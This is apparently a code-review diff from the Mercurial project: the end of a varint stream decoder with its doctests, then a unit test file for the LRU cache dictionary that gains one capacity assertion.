3863 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3864 0
3864 0
3865 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3865 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3866 1
3866 1
3867 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3867 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3868 127
3868 127
3869 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3869 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3870 1337
3870 1337
3871 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3871 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3872 65536
3872 65536
3873 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3873 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3874 Traceback (most recent call last):
3874 Traceback (most recent call last):
3875 ...
3875 ...
3876 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3876 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3877 """
3877 """
3878 result = 0
3878 result = 0
3879 shift = 0
3879 shift = 0
3880 while True:
3880 while True:
3881 byte = ord(readexactly(fh, 1))
3881 byte = ord(readexactly(fh, 1))
3882 result |= ((byte & 0x7f) << shift)
3882 result |= ((byte & 0x7f) << shift)
3883 if not (byte & 0x80):
3883 if not (byte & 0x80):
3884 return result
3884 return result
3885 shift += 7
3885 shift += 7
@@ -1,121 +1,122 b''
1 from __future__ import absolute_import, print_function
1 from __future__ import absolute_import, print_function
2
2
3 import unittest
3 import unittest
4
4
5 import silenttestrunner
5 import silenttestrunner
6
6
7 from mercurial import (
7 from mercurial import (
8 util,
8 util,
9 )
9 )
10
10
11 class testlrucachedict(unittest.TestCase):
11 class testlrucachedict(unittest.TestCase):
12 def testsimple(self):
12 def testsimple(self):
13 d = util.lrucachedict(4)
13 d = util.lrucachedict(4)
14 self.assertEqual(d.capacity, 4)
14 d['a'] = 'va'
15 d['a'] = 'va'
15 d['b'] = 'vb'
16 d['b'] = 'vb'
16 d['c'] = 'vc'
17 d['c'] = 'vc'
17 d['d'] = 'vd'
18 d['d'] = 'vd'
18
19
19 self.assertEqual(d['a'], 'va')
20 self.assertEqual(d['a'], 'va')
20 self.assertEqual(d['b'], 'vb')
21 self.assertEqual(d['b'], 'vb')
21 self.assertEqual(d['c'], 'vc')
22 self.assertEqual(d['c'], 'vc')
22 self.assertEqual(d['d'], 'vd')
23 self.assertEqual(d['d'], 'vd')
23
24
24 # 'a' should be dropped because it was least recently used.
25 # 'a' should be dropped because it was least recently used.
25 d['e'] = 've'
26 d['e'] = 've'
26 self.assertNotIn('a', d)
27 self.assertNotIn('a', d)
27
28
28 self.assertIsNone(d.get('a'))
29 self.assertIsNone(d.get('a'))
29
30
30 self.assertEqual(d['b'], 'vb')
31 self.assertEqual(d['b'], 'vb')
31 self.assertEqual(d['c'], 'vc')
32 self.assertEqual(d['c'], 'vc')
32 self.assertEqual(d['d'], 'vd')
33 self.assertEqual(d['d'], 'vd')
33 self.assertEqual(d['e'], 've')
34 self.assertEqual(d['e'], 've')
34
35
35 # Touch entries in some order (both get and set).
36 # Touch entries in some order (both get and set).
36 d['e']
37 d['e']
37 d['c'] = 'vc2'
38 d['c'] = 'vc2'
38 d['d']
39 d['d']
39 d['b'] = 'vb2'
40 d['b'] = 'vb2'
40
41
41 # 'e' should be dropped now
42 # 'e' should be dropped now
42 d['f'] = 'vf'
43 d['f'] = 'vf'
43 self.assertNotIn('e', d)
44 self.assertNotIn('e', d)
44 self.assertEqual(d['b'], 'vb2')
45 self.assertEqual(d['b'], 'vb2')
45 self.assertEqual(d['c'], 'vc2')
46 self.assertEqual(d['c'], 'vc2')
46 self.assertEqual(d['d'], 'vd')
47 self.assertEqual(d['d'], 'vd')
47 self.assertEqual(d['f'], 'vf')
48 self.assertEqual(d['f'], 'vf')
48
49
49 d.clear()
50 d.clear()
50 for key in ('a', 'b', 'c', 'd', 'e', 'f'):
51 for key in ('a', 'b', 'c', 'd', 'e', 'f'):
51 self.assertNotIn(key, d)
52 self.assertNotIn(key, d)
52
53
53 def testunfull(self):
54 def testunfull(self):
54 d = util.lrucachedict(4)
55 d = util.lrucachedict(4)
55 d['a'] = 1
56 d['a'] = 1
56 d['b'] = 2
57 d['b'] = 2
57 d['a']
58 d['a']
58 d['b']
59 d['b']
59
60
60 for key in ('a', 'b'):
61 for key in ('a', 'b'):
61 self.assertIn(key, d)
62 self.assertIn(key, d)
62
63
63 def testcopypartial(self):
64 def testcopypartial(self):
64 d = util.lrucachedict(4)
65 d = util.lrucachedict(4)
65 d['a'] = 'va'
66 d['a'] = 'va'
66 d['b'] = 'vb'
67 d['b'] = 'vb'
67
68
68 dc = d.copy()
69 dc = d.copy()
69
70
70 self.assertEqual(len(dc), 2)
71 self.assertEqual(len(dc), 2)
71 for key in ('a', 'b'):
72 for key in ('a', 'b'):
72 self.assertIn(key, dc)
73 self.assertIn(key, dc)
73 self.assertEqual(dc[key], 'v%s' % key)
74 self.assertEqual(dc[key], 'v%s' % key)
74
75
75 self.assertEqual(len(d), 2)
76 self.assertEqual(len(d), 2)
76 for key in ('a', 'b'):
77 for key in ('a', 'b'):
77 self.assertIn(key, d)
78 self.assertIn(key, d)
78 self.assertEqual(d[key], 'v%s' % key)
79 self.assertEqual(d[key], 'v%s' % key)
79
80
80 d['c'] = 'vc'
81 d['c'] = 'vc'
81 del d['b']
82 del d['b']
82 dc = d.copy()
83 dc = d.copy()
83 self.assertEqual(len(dc), 2)
84 self.assertEqual(len(dc), 2)
84 for key in ('a', 'c'):
85 for key in ('a', 'c'):
85 self.assertIn(key, dc)
86 self.assertIn(key, dc)
86 self.assertEqual(dc[key], 'v%s' % key)
87 self.assertEqual(dc[key], 'v%s' % key)
87
88
88 def testcopyempty(self):
89 def testcopyempty(self):
89 d = util.lrucachedict(4)
90 d = util.lrucachedict(4)
90 dc = d.copy()
91 dc = d.copy()
91 self.assertEqual(len(dc), 0)
92 self.assertEqual(len(dc), 0)
92
93
93 def testcopyfull(self):
94 def testcopyfull(self):
94 d = util.lrucachedict(4)
95 d = util.lrucachedict(4)
95 d['a'] = 'va'
96 d['a'] = 'va'
96 d['b'] = 'vb'
97 d['b'] = 'vb'
97 d['c'] = 'vc'
98 d['c'] = 'vc'
98 d['d'] = 'vd'
99 d['d'] = 'vd'
99
100
100 dc = d.copy()
101 dc = d.copy()
101
102
102 for key in ('a', 'b', 'c', 'd'):
103 for key in ('a', 'b', 'c', 'd'):
103 self.assertIn(key, dc)
104 self.assertIn(key, dc)
104 self.assertEqual(dc[key], 'v%s' % key)
105 self.assertEqual(dc[key], 'v%s' % key)
105
106
106 # 'a' should be dropped because it was least recently used.
107 # 'a' should be dropped because it was least recently used.
107 dc['e'] = 've'
108 dc['e'] = 've'
108 self.assertNotIn('a', dc)
109 self.assertNotIn('a', dc)
109 for key in ('b', 'c', 'd', 'e'):
110 for key in ('b', 'c', 'd', 'e'):
110 self.assertIn(key, dc)
111 self.assertIn(key, dc)
111 self.assertEqual(dc[key], 'v%s' % key)
112 self.assertEqual(dc[key], 'v%s' % key)
112
113
113 # Contents and order of original dict should remain unchanged.
114 # Contents and order of original dict should remain unchanged.
114 dc['b'] = 'vb_new'
115 dc['b'] = 'vb_new'
115
116
116 self.assertEqual(list(iter(d)), ['d', 'c', 'b', 'a'])
117 self.assertEqual(list(iter(d)), ['d', 'c', 'b', 'a'])
117 for key in ('a', 'b', 'c', 'd'):
118 for key in ('a', 'b', 'c', 'd'):
118 self.assertEqual(d[key], 'v%s' % key)
119 self.assertEqual(d[key], 'v%s' % key)
119
120
120 if __name__ == '__main__':
121 if __name__ == '__main__':
121 silenttestrunner.main(__name__)
122 silenttestrunner.main(__name__)
General Comments 0
You need to be logged in to leave comments. Login now